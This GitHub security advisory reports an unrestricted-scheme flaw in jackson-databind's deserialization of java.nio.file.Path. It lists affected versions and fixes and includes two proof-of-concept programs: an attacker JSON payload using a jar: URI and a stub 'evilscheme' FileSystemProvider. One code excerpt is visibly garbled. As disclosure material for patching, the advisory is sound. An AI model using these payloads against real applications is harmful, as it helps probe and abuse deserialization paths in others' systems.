GitHub Advisoryadvisory · Maven
GHSA-wjgm-6hv5-3cvf jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution
MEDIUM
Official page ↗
- Aliases
- CVE-2026-19032
- Ecosystem
- Maven
- Packages
- tools.jackson.core:jackson-databind, com.fasterxml.jackson.core:jackson-databind
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-470, CWE-610
- Reviewed
- 2026-09-28
Affected packages
• Maven tools.jackson.core:jackson-databind: >= 3.0.0, < 3.1.6 → fixed in 3.1.6
• Maven tools.jackson.core:jackson-databind: >= 3.2.0, < 3.2.2 → fixed in 3.2.2
• Maven com.fasterxml.jackson.core:jackson-databind: >= 2.8.0, < 2.18.10 → fixed in 2.18.10
• Maven com.fasterxml.jackson.core:jackson-databind: >= 2.19.0, < 2.21.6 → fixed in 2.21.6
• Maven com.fasterxml.jackson.core:jackson-databind: >= 2.22.0, < 2.22.2 → fixed in 2.22.2
Description
Summary
A `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` → `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.
Impact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.
Description
`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):
```java
int colonIx = value.indexOf(':');
if (colonIx may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
final String scheme = uri.getScheme();
for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
if (provider.getScheme().equalsIgnoreCase(scheme)) {
return provider.getPath(uri); // attacker scheme selects & drives a provider
}
}
// no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}
```
The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.
Vulnerable Code Location
• `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`
• `STD_PATH` → `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body
(`new URI` → `Path.of(uri)` → `ServiceLoader.load(FileSystemProvider.class)` → `provider.getPath(uri)`).
Proof of Concept
Two PoCs are provided.
> PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.
PoC 1 — sink reached (built-in `jar` provider).
`com/poc/Vuln04_PathProvider.java`:
```java
package com.poc;
import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;
/**
• Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
• Path.of(uri) / ServiceLoader.
*/
public class Vuln04_PathProvider {
public static class Config { public Path workdir; }
public static void main(String[] args) throws Exception {
ObjectMapper mapper = JsonMapper.builder().build();
// jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
System.out.println("Deserializing (default mapper): " + json);
try {
Config c = mapper.readValue(json, Config.class);
System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
} catch (Throwable t) {
System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
}
}
}
```
PoC 2 — scheme-selection mechanism demo (custom `FileSystemProvider`).
A third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships.
`com/poc/EvilFileSystemProvider.java`:
```java
package com.poc;
import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;
/**
• A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
• scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
• application's classpath. Its static initializer and getPath() record that they executed,
• proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
• inside jackson's readValue.
*/
public class EvilFileSystemProvider extends FileSystemProvider {
public static volatile boolean STATIC_INIT_RAN = false;
public static volatile String GET_PATH_URI = null;
static { STATIC_INIT_RAN = true; }
@Override public String getScheme() { return "evilscheme"; }
@Override public Path getPath(URI uri) {
GET_PATH_URI = uri.toString();
System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
// A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
}
// --- remaining abstract methods: minimal stubs ---
@Override public FileSystem newFileSystem(URI uri, Map env) { throw new UnsupportedOperationException(); }
@Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
@Override public SeekableByteChannel newByteChannel(Path p, Set o, FileAttribute... a) throws IOException { throw new UnsupportedOperationException(); }
@Override public DirectoryStream newDirectoryStream(Path d, DirectoryStream.Filter f) { throw new UnsupportedOperationException(); }
@Override public void createDirectory(Path d, FileAttribute... a) { throw new UnsupportedOperationException(); }
@Override public void delete(Path p) { throw new UnsupportedOperationException(); }
@Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
@Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
@Override public boolean isSameFile(Path p, Path p2) { return false; }
@Override public boolean isHidden(Path p) { return false; }
@Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
@Override public void checkAccess(Path p, AccessMode... m) { }
@Override public V getFileAttributeView(Path p, Class t, LinkOption... o) { return null; }
@Override public A readAttributes(Path p, Class t, LinkOption... o) { throw new UnsupportedOperationException(); }
@Override public Map readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
@Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}
```
Registration descriptor —
`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:
```
com.poc.EvilFileSystemProvider
```
Driver — `com/poc/…
Related
Alias · CVE (1)
- CVE-2026-19032 jackson-databind's deserializer for java.nio.file.Path resolves an attacker-supplied URI without restricting the URI scheme. vulnerability
References
- https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf web
- https://nvd.nist.gov/vuln/detail/CVE-2026-19032 advisory
- https://github.com/FasterXML/jackson-databind/pull/6129 web
- https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551 web
- https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166 web
- https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d web
- https://github.com/FasterXML/jackson-databind package
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10 web
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6 web
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2 web
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6 web
- https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2 web